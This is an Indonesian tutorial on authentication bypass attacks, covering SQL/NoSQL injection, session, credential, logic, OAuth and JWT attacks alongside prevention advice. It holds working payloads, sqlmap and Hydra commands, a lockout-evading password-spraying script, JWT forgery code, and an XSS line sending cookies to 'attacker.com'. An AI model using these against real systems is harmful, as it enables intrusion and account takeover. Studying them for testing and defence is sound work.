Cybersecurity

Authentication Bypass Attacks: Teknik, Contoh & Pencegahan

Tutorial komprehensif tentang serangan authentication bypass β€” dari SQL injection login bypass, session manipulation, token forgery, hingga teknik bypass modern dan pencegahannya

1. Pengenalan Authentication Bypass

Authentication Bypass adalah teknik yang digunakan untuk melewati proses autentikasi aplikasi tanpa menggunakan kredensial yang sah. Serangan ini termasuk dalam kategori paling kritis karena memungkinkan attacker mendapatkan akses tidak sah ke sistem, data, dan resource yang seharusnya terproteksi.

Dalam konteks web application, autentikasi adalah mekanisme pertama yang memverifikasi identitas pengguna sebelum mengizinkan akses. Ketika autentikasi berhasil di-bypass, seluruh lapisan keamanan setelahnya (otorisasi, enkripsi, logging) menjadi tidak relevan karena attacker sudah berada di dalam sistem.

Kategori Serangan Authentication Bypass

Kategori Teknik Severity
InjectionSQL Injection, NoSQL Injection, LDAP Injection pada loginCritical
SessionSession Fixation, Session Hijacking, Cookie ManipulationCritical
CredentialBrute Force, Credential Stuffing, Password SprayingHigh
LogicParameter Manipulation, Forceful Browsing, Race ConditionHigh
TokenJWT Forgery, Token Replay, Weak Token GenerationCritical
ProtocolOAuth Misconfiguration, SAML Manipulation, SSO BypassCritical
⚠️ Peringatan Hukum

Tutorial ini ditujukan untuk edukasi keamanan. Gunakan pengetahuan ini untuk mempertahankan sistem, bukan untuk menyerang. Akses tanpa izin terhadap sistem komputer adalah kejahatan siber yang melanggar UU ITE di Indonesia.

Diagram: Authentication Flow & Attack Points
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚         AUTHENTICATION FLOW & ATTACK POINTS                    β”‚
β”‚                                                                β”‚
β”‚  User ──▢ [Login Form] ──▢ [Server Validation] ──▢ [Session]  β”‚
β”‚              β”‚                      β”‚                    β”‚      β”‚
β”‚              β”‚                      β”‚                    β”‚      β”‚
β”‚        Attack Points          Attack Points         Attack     β”‚
β”‚        ────────────           ────────────          Points     β”‚
β”‚        β€’ SQL Injection       β€’ Credential           ──────     β”‚
β”‚        β€’ NoSQL Injection       stuffing             β€’ Session  β”‚
β”‚        β€’ LDAP Injection      β€’ Timing attacks          fixationβ”‚
β”‚        β€’ Parameter           β€’ Default creds        β€’ Cookie   β”‚
β”‚          manipulation        β€’ Weak hashing            forgery  β”‚
β”‚        β€’ Username            β€’ Logic flaws           β€’ Token    β”‚
β”‚          enumeration         β€’ Race conditions         replay   β”‚
β”‚                                                                β”‚
β”‚  ═══════════════════════════════════════════════════════════   β”‚
β”‚  POST-AUTH ATTACK POINTS:                                      β”‚
β”‚  β€’ IDOR (Insecure Direct Object Reference)                     β”‚
β”‚  β€’ Privilege Escalation                                        β”‚
β”‚  β€’ Horizontal Movement                                         β”‚
β”‚  β€’ Token/Session Theft                                         β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

2. SQL Injection Login Bypass

SQL Injection pada form login adalah salah satu teknik bypass paling klasik dan masih ditemukan pada aplikasi yang tidak menggunakan parameterized queries. Dengan memanipulasi query SQL, attacker dapat login tanpa mengetahui password.

2.1 Konsep Dasar SQL Injection Login Bypass

Concept β€” SQL Injection Login Bypass
# ===== SQL INJECTION LOGIN BYPASS =====

# Asumsikan query login yang rentan:
# SELECT * FROM users WHERE username='$user' AND password='$pass'

# ===== BASIC BYPASS PAYLOADS =====

# 1. Comment-based bypass
Username: admin'--
Password: (kosong)
# Query: SELECT * FROM users WHERE username='admin'--' AND password=''
# Hasil: Password check di-skip karena dikomentari

# 2. OR-based bypass
Username: admin' OR '1'='1'--
Password: (kosong)
# Query: SELECT * FROM users WHERE username='admin' OR '1'='1'--' AND password=''
# Hasil: '1'='1' selalu TRUE, bypass password check

# 3. Universal bypass (login sebagai user pertama)
Username: ' OR '1'='1'--
Password: (kosong)
# Query: SELECT * FROM users WHERE username='' OR '1'='1'--' AND password=''
# Hasil: Login sebagai user pertama di database

# 4. Union-based bypass
Username: ' UNION SELECT 1,'admin','hashed_password'--
Password: (hashed_password)
# Query: SELECT * FROM users WHERE username='' UNION SELECT 1,'admin','hashed_password'--' AND password=''
# Hasil: Menambah row palsu yang sesuai

# 5. Blind boolean bypass
Username: admin' AND '1'='1'--
Password: apapun
# Jika admin ada: login berhasil
# Jika admin tidak ada: login gagal

# ===== BYPASS VARIASI =====

# MySQL comment variations
admin'-- 
admin'#
admin'/*
admin'-- -
admin';%00

# PostgreSQL
admin'--
admin'/*

# MSSQL (MS SQL Server)
admin'--
admin'--

# Oracle
admin'--
admin'--

# Double quote injection (jika query pakai double quotes)
admin" OR "1"="1"--
admin"--

# Numeric context bypass
# Jika query: SELECT * FROM users WHERE id=$id
# Payload: 1 OR 1=1
# Payload: -1 UNION SELECT 1,2,3

2.2 Automated Testing dengan SQLMap

Bash β€” SQLMap Login Bypass Testing
# ===== SQLMAP UNTUK LOGIN BYPASS =====

# 1. Basic POST request testing
sqlmap -u "https://target.com/login" \
    --data="username=admin&password=test" \
    -p username \
    --level=3 --risk=2

# 2. Dengan cookie/session
sqlmap -u "https://target.com/login" \
    --data="username=admin&password=test" \
    --cookie="PHPSESSID=abc123" \
    --level=3 --risk=2

# 3. Test semua parameter
sqlmap -u "https://target.com/login" \
    --data="username=admin&password=test&csrf=token" \
    --level=5 --risk=3 \
    --batch

# 4. Teknik spesifik
sqlmap -u "https://target.com/login" \
    --data="username=admin&password=test" \
    --technique=BEU \
    --dbms=mysql

# 5. Tamper scripts untuk bypass WAF
sqlmap -u "https://target.com/login" \
    --data="username=admin&password=test" \
    --tamper=space2comment,between,randomcase \
    --level=3

# 6. Dump database setelah bypass
sqlmap -u "https://target.com/login" \
    --data="username=admin&password=test" \
    --dump \
    --threads=10

# ===== BURP SUITE MANUAL TESTING =====
# 1. Intercept login request di Burp
# 2. Kirim ke Repeater
# 3. Test payload pada setiap parameter
# 4. Analisis response untuk perbedaan:
#    - Response length berbeda
#    - HTTP status code berbeda
#    - Content berbeda (error messages)
#    - Redirect URL berbeda
#    - Response time berbeda

2.3 NoSQL Injection Login Bypass

Concept β€” NoSQL Injection Bypass
# ===== NOSQL INJECTION LOGIN BYPASS =====
# Target: MongoDB + Node.js/Express aplikasi

# Asumsikan query:
# db.users.find({ username: req.body.username, password: req.body.password })

# ===== BASIC NOSQL BYPASS =====

# 1. Operator Injection via JSON
# Kirim sebagai JSON:
{
    "username": {"$ne": ""},
    "password": {"$ne": ""}
}
# Hasil: Mencari user dimana username TIDAK kosong DAN password TIDAK kosong
# = Login sebagai user pertama yang valid

# 2. $gt (greater than) injection
{
    "username": {"$gt": ""},
    "password": {"$gt": ""}
}

# 3. $regex injection
{
    "username": {"$regex": ".*"},
    "password": {"$regex": ".*"}
}

# 4. Specific username + bypass password
{
    "username": "admin",
    "password": {"$ne": "nonexistent_password"}
}

# ===== TESTING DENGAN CURL =====

# Basic NoSQL injection
curl -X POST https://target.com/api/login \
    -H "Content-Type: application/json" \
    -d '{"username":{"$ne":""},"password":{"$ne":""}}'

# Target specific user
curl -X POST https://target.com/api/login \
    -H "Content-Type: application/json" \
    -d '{"username":"admin","password":{"$ne":""}}'

# $gt injection
curl -X POST https://target.com/api/login \
    -H "Content-Type: application/json" \
    -d '{"username":{"$gt":""},"password":{"$gt":""}}'

# ===== NOSQL INJECTION VIA PARAMETER POLLUTION =====
# Jika parameter dikirim via URL-encoded:
# username[$ne]=&password[$ne]=

# Atau via array injection:
# username[$regex]=^admin&password[$ne]=

3. Session & Token Attacks

3.1 Session Fixation

Concept β€” Session Fixation Attack
# ===== SESSION FIXATION =====
# Session Fixation: attacker "memperbaiki" session ID korban
# sebelum korban login, sehingga setelah login attacker
# memiliki session ID yang sama

# ALUR SERANGAN:
# 1. Attacker mendapatkan session ID dari server
#    GET https://target.com/login
#    Response: Set-Cookie: PHPSESSID=ATTACKER_SESSION_ID
#
# 2. Attacker mengirim link ke korban dengan session ID:
#    https://target.com/login?PHPSESSID=ATTACKER_SESSION_ID
#    Atau: https://target.com/login dengan cookie yang sudah di-set
#
# 3. Korban membuka link dan login dengan credential sah
#    Server mengaitkan session ATTACKER_SESSION_ID dengan korban
#
# 4. Attacker menggunakan session ID yang sama untuk akses
#    GET https://target.com/dashboard
#    Cookie: PHPSESSID=ATTACKER_SESSION_ID
#    = Attacker masuk sebagai korban!

# ===== VARIASI =====

# Via URL parameter
https://target.com/login?sessionid=abc123
https://target.com/login?PHPSESSID=abc123
https://target.com/login?JSESSIONID=abc123
https://target.com/login?ASP.NET_SessionId=abc123

# Via hidden form field
<input type="hidden" name="sessionid" value="abc123">

# Via cookie injection (subdomain XSS)
document.cookie = "PHPSESSID=abc123; domain=.target.com";

# ===== DETECTION =====
# Cek apakah session ID berubah setelah login
# Jika TIDAK berubah = RENTAN terhadap session fixation

# Test:
# 1. Dapatkan session ID sebelum login
# 2. Login dengan credential valid
# 3. Cek apakah session ID sama
# Jika sama = VULNERABLE

3.2 Session Hijacking

Concept β€” Session Hijacking Techniques
# ===== SESSION HIJACKING TECHNIQUES =====

# 1. COOKIE THEFT VIA XSS
# Jika aplikasi rentan XSS, attacker bisa mencuri cookie:
# <script>
#   new Image().src = "https://attacker.com/steal?c=" + document.cookie;
# </script>
#
# Atau dengan HttpOnly bypass (jarang):
# XMLHttpRequest ke endpoint yang mengembalikan session info

# 2. MAN-IN-THE-MIDDLE (MITM)
# Intercept traffic di jaringan yang tidak aman (HTTP tanpa HTTPS)
# Tools: Wireshark, tcpdump, Bettercap
# Cookie dikirim dalam plaintext = bisa dicuri

# 3. SESSION PREDICTION
# Jika session ID menggunakan random yang lemah:
# - Timestamp-based
# - Incremental counter
# - Predictable PRNG
#
# Attacker bisa memprediksi session ID berikutnya

# 4. CROSS-SITE REQUEST FORGERY (CSRF)
# Memaksa korban melakukan aksi tanpa sadar:
# <img src="https://target.com/transfer?to=attacker&amount=1000">
# Jika korban sudah login, request dieksekusi dengan session mereka

# ===== PENCEGAHAN =====

# Session Management yang Aman:
# 1. Regenerate session ID setelah login
#    session_regenerate_id(true);  # PHP
#
# 2. Set cookie flags:
#    Set-Cookie: PHPSESSID=xxx; HttpOnly; Secure; SameSite=Strict
#
# 3. Session timeout yang wajar (15-30 menit)
#
# 4. Bind session ke IP dan User-Agent
#
# 5. Invalidate session setelah logout
#
# 6. Gunakan HTTPS HANYA (HSTS header)

4. Credential Attacks

4.1 Brute Force & Credential Stuffing

Tools β€” Credential Attack Techniques
# ===== BRUTE FORCE ATTACK =====

# 1. HYDRA (THC-Hydra) β€” Brute Force Multi-Protocol
# HTTP POST form brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
    target.com http-post-form \
    "/login:username=^USER^&password=^PASS^:Invalid credentials"

# SSH brute force
hydra -l root -P /usr/share/wordlists/rockyou.txt \
    target.com ssh

# FTP brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
    target.com ftp

# 2. BURP SUITE INTRUDER
# Intercept login request β†’ Send to Intrader
# Set attack type: Cluster Bomb
# Set payload position pada username dan password
# Load wordlist untuk setiap position
# Start attack, filter response berdasarkan length/status

# 3. FFUF β€” Fuzz Faster
# Brute force login
ffuf -u https://target.com/login \
    -X POST \
    -d "username=FUZZUSER&password=FUZZPASS" \
    -w usernames.txt:FUZZUSER \
    -w passwords.txt:FUZZPASS \
    -mc 302 \
    -H "Content-Type: application/x-www-form-urlencoded"

# ===== CREDENTIAL STUFFING =====
# Menggunakan username/password dari breach data
# untuk login ke situs lain (password reuse)

# Tools: Sentry MBA, OpenBullet, SilverBullet
# Data breach lists tersedia di dark web

# ===== PASSWORD SPRAYING =====
# Mencoba beberapa password umum ke banyak akun
# (kebalikan dari brute force yang mencoba banyak password ke satu akun)

# Password umum untuk spraying:
# Password1, Password123, Welcome1, P@ssw0rd
# Companyname2024, Summer2024, Winter2024
# Changeme123, Qwerty123, Admin123

# Script password spraying sederhana:
#!/bin/bash
USERS="users.txt"
PASSWORDS="Spring2024 Summer2024 Company123"
TARGET="https://target.com/login"

for pass in $PASSWORDS; do
    while read user; do
        response=$(curl -s -o /dev/null -w "%{http_code}" \
            -X POST "$TARGET" \
            -d "username=$user&password=$pass" \
            -L)
        
        if [ "$response" != "401" ]; then
            echo "[+] SUCCESS: $user:$pass (HTTP $response)"
        fi
    done < "$USERS"
    
    # Delay antara setiap password (hindari lockout)
    sleep 300
done

# ===== TIMING ATTACK =====
# Membedakan valid/invalid username berdasarkan response time
# Login yang valid biasanya lebih lambat (password hash comparison)

# Script timing attack:
import requests
import time

def timing_attack(url, usernames):
    results = {}
    for username in usernames:
        times = []
        for _ in range(10):
            start = time.time()
            requests.post(url, data={
                'username': username,
                'password': 'wrong_password'
            })
            elapsed = time.time() - start
            times.append(elapsed)
        
        avg_time = sum(times) / len(times)
        results[username] = avg_time
        print(f"{username}: {avg_time:.4f}s")
    
    # Username dengan response time lebih tinggi
    # kemungkinan valid (password hash comparison takes time)
    return sorted(results.items(), key=lambda x: x[1], reverse=True)

5. Logic & Business Logic Bypass

5.1 Parameter Manipulation

Concept β€” Authentication Logic Bypass
# ===== LOGIC BYPASS TECHNIQUES =====

# 1. HIDDEN PARAMETER MANIPULATION
# Aplikasi mengirim parameter tersembunyi:
# POST /login
# username=admin&password=test&role=guest
#
# Attacker mengubah:
# username=admin&password=test&role=admin
# = Bypass otorisasi setelah autentikasi

# 2. RESPONSE MANIPULATION
# Intercept response dari server dan ubah:
# Original: {"authenticated": false, "role": "guest"}
# Modified: {"authenticated": true, "role": "admin"}
#
# Tools: Burp Suite, mitmproxy, Charles Proxy

# 3. DIRECT PAGE ACCESS (Forceful Browsing)
# Langsung akses halaman yang dilindungi:
# https://target.com/admin/dashboard  (tanpa login)
# https://target.com/user/profile?id=1  (akses user lain)
#
# Banyak aplikasi hanya cek autentikasi di halaman login,
# tapi TIDAK di halaman yang dilindungi

# 4. REGISTRATION BYPASS
# Jika ada fitur registrasi dengan verifikasi email:
# 1. Register dengan email attacker@evil.com
# 2. Intercept request sebelum verifikasi email
# 3. Langsung akses fitur yang membutuhkan verifikasi
# 4. Bypass: Ubah response verification status

# 5. PASSWORD RESET BYPASS
# Manipulasi flow password reset:
# Step 1: Request reset β†’ server kirim token ke email
# Step 2: Attacker intercept atau bypass step ini
# Langsung akses: /reset-password?token=KNOWN_TOKEN
# Atau manipulasi user_id: /reset-password?user_id=1

# 6. MULTI-STEP AUTH BYPASS
# Banyak autentikasi multi-step yang bisa di-skip:
# Step 1: Username/Password β†’ /verify-otp
# Step 2: OTP verification β†’ /dashboard
#
# Bypass: Langsung akses /dashboard setelah step 1
# Atau: Manipulasi step parameter

# ===== CONTOH: BYPASS 2FA =====
# Aplikasi dengan 2FA:
# 1. POST /login β†’ Berhasil β†’ Redirect ke /2fa-verify
# 2. POST /2fa-verify β†’ OTP β†’ Dashboard
#
# Bypass:
# 1. Login dengan credential valid
# 2. Jangan ikuti redirect ke /2fa-verify
# 3. Langsung GET /dashboard
# Jika server tidak cek 2FA status di setiap request = BYPASS!

# ===== RACE CONDITION AUTH BYPASS =====
# Kirim banyak request login bersamaan:
# Beberapa aplikasi memproses satu request sebelum
# menandai session sebagai "authenticated"
# = Multiple parallel requests bisa melewati check

# Script race condition:
import threading
import requests

def login_attempt(url, data):
    resp = requests.post(url, json=data)
    if 'dashboard' in resp.url or resp.status_code == 200:
        print(f"[+] SUCCESS! Cookies: {resp.cookies.get_dict()}")

url = "https://target.com/api/login"
data = {"username": "admin", "password": "test"}

# Kirim 100 request bersamaan
threads = []
for i in range(100):
    t = threading.Thread(target=login_attempt, args=(url, data))
    threads.append(t)
    t.start()

for t in threads:
    t.join()

6. OAuth & SSO Bypass

Concept β€” OAuth & SSO Bypass Attacks
# ===== OAUTH 2.0 BYPASS ATTACKS =====

# OAuth 2.0 adalah protokol otorisasi yang populer
# Digunakan oleh "Login with Google/Facebook/GitHub"

# ===== ATTACK 1: REDIRECT_URI MANIPULATION =====

# Normal flow:
# https://target.com/auth/google
# β†’ Google login β†’ redirect ke redirect_uri yang terdaftar

# Attack: Ubah redirect_uri
# https://accounts.google.com/o/oauth2/auth?
#   client_id=TARGET_CLIENT_ID&
#   redirect_uri=https://ATTACKER.com/callback&
#   response_type=code&
#   scope=email profile

# Jika redirect_uri tidak divalidasi dengan ketat:
# Token/auth code dikirim ke attacker!

# Bypass variasi:
# redirect_uri=https://target.com/callback β†’ original
# redirect_uri=https://target.com/callback/../attacker  β†’ path traversal
# redirect_uri=https://target.com.attacker.com  β†’ subdomain
# redirect_uri=https://target.com%00.attacker.com  β†’ null byte
# redirect_uri=https://target.com/callback?next=attacker.com  β†’ open redirect

# ===== ATTACK 2: STATE PARAMETER ABUSE =====

# Parameter "state" mencegah CSRF dalam OAuth
# Jika state tidak divalidasi:
# Attacker bisa membuat link OAuth yang mengaitkan
# akun attacker ke akun korban

# Attack flow:
# 1. Attacker login dengan akun Google attacker
# 2. Attacker dapat authorization code
# 3. Attacker kirim link ke korban:
#    https://target.com/auth/callback?code=ATTACKER_CODE
# 4. Korban klik link β†’ akun target dikaitkan dengan Google attacker
# 5. Attacker login dengan Google β†’ masuk sebagai korban!

# ===== ATTACK 3: TOKEN THEFT VIA OPEN REDIRECT =====
# Jika aplikasi memiliki open redirect:
# https://target.com/redirect?url=https://attacker.com
#
# Attacker bisa mencuri OAuth token:
# redirect_uri=https://target.com/redirect?url=https://attacker.com
# Token dikirim ke attacker.com melalui redirect

# ===== ATTACK 4: IMPLICIT GRANT ABUSE =====
# Implicit grant mengirim token via URL fragment (#)
# Token muncul di browser history dan bisa bocor via Referrer header

# ===== SAML ATTACKS =====

# 1. SAML Signature Wrapping
# Manipulasi assertion SAML untuk menambah identity baru

# 2. SAML XML Signature Bypass
# Hapus atau manipulasi signature check

# 3. SAML Assertion Replay
# Gunakan assertion yang sama berulang kali

# ===== PENCEGAHAN OAUTH =====
# 1. Validasi redirect_uri dengan whitelist ketat
# 2. Selalu gunakan dan validasi parameter "state"
# 3. Gunakan authorization code flow (bukan implicit)
# 4. Validasi token audience (aud claim)
# 5. Implement PKCE untuk public clients

7. JWT & API Token Attacks

Concept β€” JWT (JSON Web Token) Attacks
# ===== JWT ATTACKS =====

# JWT terdiri dari 3 bagian: header.payload.signature
# Dipisahkan oleh titik (.)
# Setiap bagian di-encode Base64URL

# ===== ATTACK 1: ALGORITHM NONE =====
# JWT mendukung algoritma "none" (tanpa signature)
# Jika server tidak memvalidasi algoritma:

# Original JWT header:
# {"alg": "HS256", "typ": "JWT"}

# Attacker ubah ke:
# {"alg": "none", "typ": "JWT"}

# Buat token baru:
import base64
import json

header = base64.urlsafe_b64encode(
    json.dumps({"alg": "none", "typ": "JWT"}).encode()
).rstrip(b'=')

payload = base64.urlsafe_b64encode(
    json.dumps({
        "sub": "1",
        "name": "Admin",
        "role": "admin",
        "iat": 1625000000
    }).encode()
).rstrip(b'=')

# Signature kosong untuk alg: none
token = header.decode() + "." + payload.decode() + "."
print(f"Forged JWT: {token}")

# ===== ATTACK 2: KEY CONFUSION (RS256 β†’ HS256) =====
# Jika server menggunakan RS256 (asymmetric, public+private key)
# Attacker bisa downgrade ke HS256 (symmetric, single key)
# menggunakan PUBLIC KEY sebagai secret

# 1. Dapatkan public key (sering tersedia di /jwks.json atau /.well-known/)
# 2. Buat JWT dengan HS256 menggunakan public key sebagai HMAC secret
# 3. Server menerima karena HS256 valid dengan "key" yang sama

# Python exploit:
import jwt

# Public key target (dapatkan dari JWKS endpoint)
public_key = open('target_public.pem').read()

# Forge token dengan HS256 menggunakan public key
token = jwt.encode(
    {"sub": "1", "role": "admin"},
    public_key,  # Public key sebagai HMAC secret!
    algorithm="HS256"
)
print(f"Forged token: {token}")

# ===== ATTACK 3: JWT NONE WITH ESCAPED ALG =====
# Beberapa implementasi menerima variasi alg:
# "none", "None", "NONE", "nOnE"
# Cek apakah server case-insensitive dalam memvalidasi

# ===== ATTACK 4: JWKS INJECTION =====
# Jika JWT header mendukung "jku" (JWK Set URL):
# Attacker bisa mengarahkan ke server JWKS miliknya

# Header:
# {
#   "alg": "RS256",
#   "jku": "https://attacker.com/.well-known/jwks.json"
# }

# Server akan mengambil public key dari attacker!
# Attacker generate key pair, simpan public di URL tersebut

# ===== ATTACK 5: KID (Key ID) INJECTION =====
# Jika "kid" digunakan sebagai path ke file key:
# {"kid": "/path/to/key.pem"}
#
# Attacker bisa manipulasi path:
# {"kid": "../../dev/null"}  β†’ File kosong = empty key
# {"kid": "/dev/null"}  β†’ Empty key = HS256 dengan key ""

# ===== TOOLS =====
# 1. jwt_tool (https://github.com/ticarpi/jwt_tool)
python3 jwt_tool.py TOKEN -X a  # Algorithm none
python3 jwt_tool.py TOKEN -X k  # Key confusion
python3 jwt_tool.py TOKEN -X pb -pk public.pem  # Public key as HMAC

# 2. Burp Suite JWT Editor Extension
# 3. jwt-cracker / hashcat untuk brute force secret
hashcat -m 16500 jwt_hash.txt rockyou.txt

8. Pencegahan & Best Practices

πŸ›‘οΈ Checklist Pencegahan Authentication Bypass
  1. Parameterized Queries β€” Gunakan prepared statements untuk mencegah SQL injection
  2. Session Management β€” Regenerate session ID, set HttpOnly/Secure/SameSite flags
  3. Rate Limiting β€” Batasi attempt login per IP/user
  4. Account Lockout β€” Lock account setelah N kali gagal
  5. Multi-Factor Auth β€” Implementasi 2FA/MFA
  6. JWT Security β€” Validasi algoritma, gunakan RS256, validasi semua claims
  7. OAuth Validation β€” Whitelist redirect_uri, validasi state parameter
  8. Server-Side Validation β€” Validasi SEMUA di server, jangan percaya client
  9. Audit Logging β€” Log semua attempt autentikasi (sukses & gagal)
  10. Secure Password Storage β€” bcrypt/Argon2, salt per user
Python β€” Secure Authentication Implementation
# ===== SECURE AUTHENTICATION IMPLEMENTATION =====

import bcrypt
import jwt
import secrets
import time
from datetime import datetime, timedelta
from functools import wraps
from flask import Flask, request, jsonify, session, abort
import redis

app = Flask(__name__)
app.secret_key = secrets.token_hex(32)
r = redis.Redis()

# ===== SECURE PASSWORD HASHING =====
def hash_password(password: str) -> str:
    """Hash password dengan bcrypt (salt otomatis)"""
    salt = bcrypt.gensalt(rounds=12)
    return bcrypt.hashpw(password.encode(), salt).decode()

def verify_password(password: str, hashed: str) -> bool:
    """Verifikasi password terhadap hash"""
    return bcrypt.checkpw(password.encode(), hashed.encode())

# ===== RATE LIMITING =====
def rate_limit(key: str, max_attempts: int = 5, window: int = 300):
    """Rate limiting dengan Redis"""
    current = r.get(key)
    if current and int(current) >= max_attempts:
        return False
    pipe = r.pipeline()
    pipe.incr(key)
    pipe.expire(key, window)
    pipe.execute()
    return True

# ===== SECURE LOGIN =====
@app.route('/api/login', methods=['POST'])
def login():
    data = request.get_json()
    username = data.get('username', '')
    password = data.get('password', '')
    
    # 1. Input validation
    if not username or not password:
        return jsonify({'error': 'Username dan password harus diisi'}), 400
    
    # 2. Rate limiting
    ip_key = f"login:ip:{request.remote_addr}"
    user_key = f"login:user:{username}"
    
    if not rate_limit(ip_key, 10, 300):
        return jsonify({'error': 'Terlalu banyak percobaan. Coba lagi nanti.'}), 429
    
    if not rate_limit(user_key, 5, 300):
        return jsonify({'error': 'Akun terkunci sementara'}), 423
    
    # 3. Query dengan parameterized statement (SQL injection safe)
    # user = db.execute(
    #     "SELECT id, username, password_hash, role FROM users WHERE username = %s",
    #     (username,)
    # ).fetchone()
    
    # 4. Constant-time comparison
    # Gunakan bcrypt.checkpw yang sudah constant-time
    
    # 5. Login attempt logging
    # db.execute(
    #     "INSERT INTO login_attempts (username, ip, timestamp, success) VALUES (%s, %s, %s, %s)",
    #     (username, request.remote_addr, datetime.utcnow(), False)
    # )
    
    # 6. Response yang tidak membocorkan info
    # JANGAN: "Username tidak ditemukan" vs "Password salah"
    # HARUS: "Username atau password salah" (sama untuk semua kasus)
    
    return jsonify({'error': 'Username atau password salah'}), 401

# ===== SECURE JWT =====
JWT_SECRET = secrets.token_hex(32)
JWT_ALGORITHM = 'HS256'  # Atau RS256 untuk lebih aman

def create_token(user_id: str, role: str) -> str:
    """Buat JWT token yang aman"""
    payload = {
        'sub': user_id,
        'role': role,
        'iat': datetime.utcnow(),
        'exp': datetime.utcnow() + timedelta(minutes=30),
        'jti': secrets.token_hex(16),  # Unique token ID
        'iss': 'beebanelabs.com'       # Issuer
    }
    return jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM)

def verify_token(token: str) -> dict:
    """Verifikasi JWT token"""
    try:
        payload = jwt.decode(
            token, JWT_SECRET,
            algorithms=[JWT_ALGORITHM],  # HARUS specify allowed algorithms
            issuer='beebanelabs.com',
            options={'require': ['exp', 'sub', 'iss', 'jti']}
        )
        
        # Cek blacklist (jika token di-revoke)
        if r.get(f"token:blacklist:{payload['jti']}"):
            raise jwt.InvalidTokenError("Token has been revoked")
        
        return payload
    except jwt.ExpiredSignatureError:
        raise ValueError("Token expired")
    except jwt.InvalidTokenError:
        raise ValueError("Invalid token")

# ===== AUTH MIDDLEWARE =====
def require_auth(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        token = request.headers.get('Authorization', '').replace('Bearer ', '')
        if not token:
            abort(401)
        
        try:
            payload = verify_token(token)
            request.user = payload
        except ValueError:
            abort(401)
        
        return f(*args, **kwargs)
    return decorated

@app.route('/api/protected')
@require_auth
def protected():
    return jsonify({'user': request.user['sub']})

# ===== SECURE SESSION =====
@app.after_request
def set_security_headers(response):
    response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['X-Frame-Options'] = 'DENY'
    response.headers['Cache-Control'] = 'no-store'
    return response

9. Testing & Audit

Testing β€” Auth Bypass Test Suite
# ===== AUTH BYPASS AUTOMATED TEST SUITE =====

import requests
import json
import time

class AuthBypassTester:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()
        self.results = []
    
    def test_sqli_bypass(self):
        """Test SQL injection pada login"""
        print("\n[*] Testing SQL Injection Login Bypass...")
        
        payloads = [
            ("admin'--", ""),
            ("admin' OR '1'='1'--", ""),
            ("' OR '1'='1'--", ""),
            ("admin'/*", "anything"),
            ("admin' #", ""),
            ("' OR 1=1--", ""),
            ("admin' AND '1'='1", "anything"),
            ("admin') OR ('1'='1'--", ""),
        ]
        
        for username, password in payloads:
            resp = self.session.post(
                f"{self.base_url}/api/login",
                json={"username": username, "password": password}
            )
            
            if resp.status_code == 200 and 'token' in resp.text.lower():
                self.results.append({
                    'test': f'SQLi Bypass: {username}',
                    'result': 'VULNERABLE',
                    'severity': 'CRITICAL'
                })
                print(f"  [!] VULNERABLE: {username}")
            else:
                print(f"  [+] Blocked: {username}")
    
    def test_nosql_bypass(self):
        """Test NoSQL injection pada login"""
        print("\n[*] Testing NoSQL Injection Bypass...")
        
        payloads = [
            {"username": {"$ne": ""}, "password": {"$ne": ""}},
            {"username": {"$gt": ""}, "password": {"$gt": ""}},
            {"username": {"$regex": ".*"}, "password": {"$regex": ".*"}},
            {"username": "admin", "password": {"$ne": "x"}},
            {"username": {"$exists": True}, "password": {"$exists": True}},
        ]
        
        for payload in payloads:
            resp = self.session.post(
                f"{self.base_url}/api/login",
                json=payload
            )
            
            if resp.status_code == 200 and 'token' in resp.text.lower():
                self.results.append({
                    'test': f'NoSQL Bypass: {json.dumps(payload)}',
                    'result': 'VULNERABLE',
                    'severity': 'CRITICAL'
                })
                print(f"  [!] VULNERABLE: {payload}")
    
    def test_direct_access(self):
        """Test akses langsung ke halaman terproteksi"""
        print("\n[*] Testing Direct Page Access...")
        
        protected_pages = [
            '/admin', '/admin/dashboard', '/dashboard',
            '/api/users', '/api/admin', '/profile',
            '/settings', '/api/config'
        ]
        
        for page in protected_pages:
            resp = self.session.get(f"{self.base_url}{page}")
            
            if resp.status_code == 200:
                self.results.append({
                    'test': f'Direct Access: {page}',
                    'result': 'ACCESSIBLE',
                    'severity': 'HIGH'
                })
                print(f"  [!] Accessible without auth: {page}")
    
    def test_jwt_manipulation(self):
        """Test JWT token manipulation"""
        print("\n[*] Testing JWT Manipulation...")
        
        # 1. Get valid token first
        login_resp = self.session.post(
            f"{self.base_url}/api/login",
            json={"username": "testuser", "password": "testpass"}
        )
        
        if 'token' not in login_resp.text.lower():
            print("  [-] Could not get initial token")
            return
        
        token = login_resp.json().get('token', '')
        
        # 2. Decode and modify
        try:
            import base64
            parts = token.split('.')
            payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
            
            # Test alg none
            header = {"alg": "none", "typ": "JWT"}
            new_header = base64.urlsafe_b64encode(
                json.dumps(header).encode()
            ).rstrip(b'=').decode()
            
            payload['role'] = 'admin'
            new_payload = base64.urlsafe_b64encode(
                json.dumps(payload).encode()
            ).rstrip(b'=').decode()
            
            forged = f"{new_header}.{new_payload}."
            
            resp = self.session.get(
                f"{self.base_url}/api/protected",
                headers={'Authorization': f'Bearer {forged}'}
            )
            
            if resp.status_code == 200:
                self.results.append({
                    'test': 'JWT alg:none bypass',
                    'result': 'VULNERABLE',
                    'severity': 'CRITICAL'
                })
                print("  [!] JWT alg:none BYPASS!")
        except Exception as e:
